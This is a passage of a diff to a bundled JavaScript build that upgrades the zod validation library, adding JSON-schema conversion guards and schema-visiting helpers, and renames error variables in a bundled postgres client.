} var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -68094,53 +72797,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -68218,13 +72922,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -68238,6 +72955,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -68261,13 +72979,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -68280,6 +72997,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -68299,6 +73017,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -68319,7 +73038,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -68400,6 +73119,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -68415,21 +73135,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -68545,7 +73264,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -68682,8 +73401,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -68723,7 +73449,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -68749,7 +73475,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -68839,6 +73590,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -68849,7 +73606,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -68857,6 +73614,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -68949,13 +73898,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -68972,6 +73923,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -69005,10 +73960,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -69039,21 +73994,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -69080,15 +74024,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -69096,13 +74076,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69110,13 +74089,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69136,6 +74114,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -69193,9 +74179,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -69229,7 +74233,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -69254,9 +74455,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -69710,8 +74908,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -70180,7 +75378,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -70189,29 +75387,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -70719,10 +75917,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -70733,8 +75931,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -70749,9 +75947,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -70830,7 +76028,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -70896,10 +76094,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -70931,7 +76129,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { 